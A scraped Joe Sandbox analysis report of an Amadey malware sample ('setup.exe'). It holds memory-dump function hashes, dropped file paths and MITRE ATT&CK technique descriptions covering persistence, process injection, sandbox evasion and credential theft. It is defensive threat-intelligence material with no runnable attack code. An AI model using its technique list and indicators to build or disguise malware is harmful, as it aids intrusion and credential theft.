Opcode ID: ba4945681f1d2be7f445e378380ee8fe6fdb5fb5019561a239b25adf1f6bb1e5
Instruction ID: 1e5581e727218cb1f1d716e631f78b7fcb9fd840326e94105f7554497ea6b22f
Opcode Fuzzy Hash: ba4945681f1d2be7f445e378380ee8fe6fdb5fb5019561a239b25adf1f6bb1e5
Instruction Fuzzy Hash: B241A0FB24C221BDF30AC1516F6EAFA6B6FD5D27303308536F843DA946E2844A4E5071

Function 05330CF8 Relevance: 1.7, APIs: 1, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ef9a6533701af405fd1eea1556ff0aeda0122f78461ab0de1135e1f9ea41c3
Instruction ID: 36c63c2f6cd6314f31dc257da6a44476aa0c06c26289e1c7a6a556184b529062
Opcode Fuzzy Hash: c7ef9a6533701af405fd1eea1556ff0aeda0122f78461ab0de1135e1f9ea41c3
Instruction Fuzzy Hash: 793122EB24C510BDF35AD0A91B5EAFB6B6FF6D7630330846AF80795D42E2C60A4E1131

Function 05330D5B Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: dd6d577e8c7dcaa1c3c6b0541ec7632c421319d1d5c13d051e3f05ccfedf7974
Instruction ID: e7479ad9a12deb9530b84f9f4914b383ac86808b8feba8088645a7c1334fb312
Opcode Fuzzy Hash: dd6d577e8c7dcaa1c3c6b0541ec7632c421319d1d5c13d051e3f05ccfedf7974
Instruction Fuzzy Hash: 5B31C3EB24C115BDF35AD1951B5EAF76A6FE6C7730330442AF807D5D42E2C90A5E1131

Function 05330D61 Relevance: 1.7, APIs: 1, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: c4b351e002e9b2ec1c5c3ade96faabdc1cdc6c33997b572cb558d73f4532399a
Instruction ID: 87279910d67c889b31f65806fb2619b6e9bac5728bd9379337403ecaa82bb307
Opcode Fuzzy Hash: c4b351e002e9b2ec1c5c3ade96faabdc1cdc6c33997b572cb558d73f4532399a
Instruction Fuzzy Hash: 0D31D2EB24C110BDF35AD1952B4EAF66A6FF6C7730330442AB807D6E42E2C90B5E1131

Function 05330D83 Relevance: 1.7, APIs: 1, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ffc87476e26e67f9e407069ded7a45db0d94d96c41f527529d8bd1f4c39f8b
Instruction ID: baac1bb9b9233993300269bdeb04bf3aeb52a5d7375d84b1dfee0477e4a15644
Opcode Fuzzy Hash: 81ffc87476e26e67f9e407069ded7a45db0d94d96c41f527529d8bd1f4c39f8b
Instruction Fuzzy Hash: 313107EB24D114BDE35AD1552B8E6F66B6FB6C7730330442AF807D6D43D286074E1131

Function 05330D2F Relevance: 1.7, APIs: 1, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355d8839f8cf446f480d84465c9257f71090745a60f28bf061f7308f8e37e007
Instruction ID: 7bd6380fc96ae65e3efd75e257a1e3535f534feb8ab8017e243dfed768f14d56
Opcode Fuzzy Hash: 355d8839f8cf446f480d84465c9257f71090745a60f28bf061f7308f8e37e007
Instruction Fuzzy Hash: 4531D5EB24D5147DE35AD1952B4EAF76B5FE6C7630330447AF80796D42E2C60A4E1131

Function 05330DBA Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 36c37632a2c7f8bedd997720f8fc623e2adffb20c1a3fd35a96baf70b58a1017
Instruction ID: d0c249c2b280dbb3d6bcb392df90de6ba91092aff15a9f2b3bda75795b4a2582
Opcode Fuzzy Hash: 36c37632a2c7f8bedd997720f8fc623e2adffb20c1a3fd35a96baf70b58a1017
Instruction Fuzzy Hash: 5721D2EB28D114BDF35AD1952B4EAF7AB6FA2C7730330842AB807D6D42E2C50B4E1131

Function 05330DF9 Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 3970589b162238aa725f0b1b6254d37fb9ad2f32097bfb30889460c23dacadbf
Instruction ID: aa37cd43bb5306d7701ca7407baa1717f7dd82c3f5adc662987fe3b79d22a723
Opcode Fuzzy Hash: 3970589b162238aa725f0b1b6254d37fb9ad2f32097bfb30889460c23dacadbf
Instruction Fuzzy Hash: 5921B0EB28D624BDF35AD1952B5E6F7AA6FA5C7630330547AB803D6D42E2C60B4E1031

Function 05330E0F Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 721acd00c1989a0bbb6684b8182f50771474175650db2e087defc022f92bfa07
Instruction ID: 74ea6117aa401ab6809fe16a9a432f752b9dc62bab264f9189087fdf6dc98864
Opcode Fuzzy Hash: 721acd00c1989a0bbb6684b8182f50771474175650db2e087defc022f92bfa07
Instruction Fuzzy Hash: 1A21A1EB28D510BDF256D1952B5AAF7A76FA5C7630330446AB807D6D42E2850B4E1131

Function 05330E74 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?), ref: 05330F6D

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: a61e0ca4e19c8fa46c9b50e465b6e5b05945232eb60df2ee504b23d12591bf74
Instruction ID: 4dac487fe27a78369ca4e314fcb7551f9f49c9a6589df6a72451cd719ee709be
Opcode Fuzzy Hash: a61e0ca4e19c8fa46c9b50e465b6e5b05945232eb60df2ee504b23d12591bf74
Instruction Fuzzy Hash: EB2145DB34D6207DE71AD0A52A9E6F76B6FA5C3630330546BF807C6D42E2860B8E1131

Function 052F04E6 Relevance: 1.6, APIs: 1, Instructions: 117fileCOMMON

Download Yara Rule

APIs

BaseDllReadWriteIniFile.KERNEL32(-65A2D26F,-65A2D26F,-65A2D26F,?,?,?,0000E459,0000E459,?,?,74D9CDCB,?,?,74D9CDCB), ref: 052F04F6

Memory Dump Source

Source File: 0000001B.00000002.6961926402.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_52f0000_RageMP131.jbxd

Similarity

API ID: BaseFileReadWrite
String ID:
API String ID: 234091865-0
Opcode ID: 3ff973e6d00482443bbfe8bf233df31803029b30a9ace8c61810045309c4d74b
Instruction ID: 7d5751cbbd3589cca4adc9b2ac64cad571bd2d1685cc34107647f3c6797c63bc
Opcode Fuzzy Hash: 3ff973e6d00482443bbfe8bf233df31803029b30a9ace8c61810045309c4d74b
Instruction Fuzzy Hash: EF216DEB278125AD6112C5823B18AFBA66FFDC6730730843BF607C5506E6D44E891232

Function 05330E46 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 45895a279ea940f7cad0976c887955e9b8da3b3fe779a016e3117cabcc8d21d9
Instruction ID: 056a9c62c4e12fe313dcb8a166e9f258d32270f67c1b4a4f65658a0d590df185
Opcode Fuzzy Hash: 45895a279ea940f7cad0976c887955e9b8da3b3fe779a016e3117cabcc8d21d9
Instruction Fuzzy Hash: AF11D2EB28D6207DF35AD0652B5EAF7AA5FA5D3A30330446AB803D5D42E2860B4E1131

Function 05330E34 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 2cfd061302b17a512c990a5b026f098024f236e4d0f050be66b1a0cae15af500
Instruction ID: b31684c5abc711b08d934bcd8a831acd35a6e427c1d7e84b3f47d427f18fe262
Opcode Fuzzy Hash: 2cfd061302b17a512c990a5b026f098024f236e4d0f050be66b1a0cae15af500
Instruction Fuzzy Hash: A011D2DB28D620BDF36AD0A52A5E6F79B5FA5D7630330447AB803D6E82D2860B4E1131

Function 05330E67 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 384f6464151c8b025f3c7003fced19aac432a620173f0ea8c1121175e7f478b7
Instruction ID: 203717b79ca0926b92d45fb0ef8805867a3b274351a87532d2b5897d441cf93f
Opcode Fuzzy Hash: 384f6464151c8b025f3c7003fced19aac432a620173f0ea8c1121175e7f478b7
Instruction Fuzzy Hash: F21106EB34D620BDE35AD066269B6F7AB9FA6D7730330547BB803D6E42D186074E1131

Function 05330EA5 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 95b17a5659e5ef13b93509cca61f7478d3b1f1c6821a881c808d48133f3f956c
Instruction ID: 8f7161346b88c6b79e11a545807d1ba1a5e188f0e510e075311516b578deb8a0
Opcode Fuzzy Hash: 95b17a5659e5ef13b93509cca61f7478d3b1f1c6821a881c808d48133f3f956c
Instruction Fuzzy Hash: E801DBE728D624BDE369D05A1B5B7F7965FB1D7730330502AB807D2E42E2C6079D2031

Function 05330EBD Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?), ref: 05330F6D

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 79fa05f89f38bf2a8f93109f4fe77712fe9bdf96a195cba8146ac0392e93c14a
Instruction ID: e04a8b5c6c8163ec86850aa9b0c4d6ae34472b1de8d63e5ef688648737444d3b
Opcode Fuzzy Hash: 79fa05f89f38bf2a8f93109f4fe77712fe9bdf96a195cba8146ac0392e93c14a
Instruction Fuzzy Hash: FFF096DB28C224BCE269D09A2B5A7F7965FB2D77703305167B807D1E8292C50B9D2031

Function 05330F79 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?), ref: 05330F6D

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 26214d1f8a96531129d7115670bb16a5fef5ce50ba88fac8ab9b8808b90250f9
Instruction ID: 2f672acdbb8d61e7311d0f0c5f6e84d57d771c86cdc1aedb370b6d8c1605767c
Opcode Fuzzy Hash: 26214d1f8a96531129d7115670bb16a5fef5ce50ba88fac8ab9b8808b90250f9
Instruction Fuzzy Hash: CEF02E6714C2249DC35DD2B7135B3F1AF1F7B576303300167D00749E51C286435A9571

Function 05330F2B Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?), ref: 05330F6D

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 7180570a5f4e4726d2496ede8482254ad93fad1240613c048e2d49286b805cce
Instruction ID: 7e1de4d9cf7cfd89d07b398c432288d4c830db276534a00113e813bf8d5e65e6
Opcode Fuzzy Hash: 7180570a5f4e4726d2496ede8482254ad93fad1240613c048e2d49286b805cce
Instruction Fuzzy Hash: 54F0A3D730CB619EC356C252255F2F1AF5F765323033002AFD04391AD1D14507195133

Function 05330F52 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(?,?,?,?,?), ref: 05330F6D

Memory Dump Source

Source File: 0000001B.00000002.6962036498.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_5330000_RageMP131.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: de45587c558ce1e59dd4a2596ee9d564513427b4b590a533d8122d202db0b566
Instruction ID: 20c4fecda2333511653af1850ebf8b09b2c204e7a9331aed321dc9d1016a2ca7
Opcode Fuzzy Hash: de45587c558ce1e59dd4a2596ee9d564513427b4b590a533d8122d202db0b566
Instruction Fuzzy Hash: 4EE072CA14C7612DD2AAC1B525877F0AB1F34A7630322018FE8D3C9AD2C2074B278273

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MPGPH131\MPGPH131.exe

C:\Users\user\1000015002\b6042db502.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Windows Analysis Report
setup.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre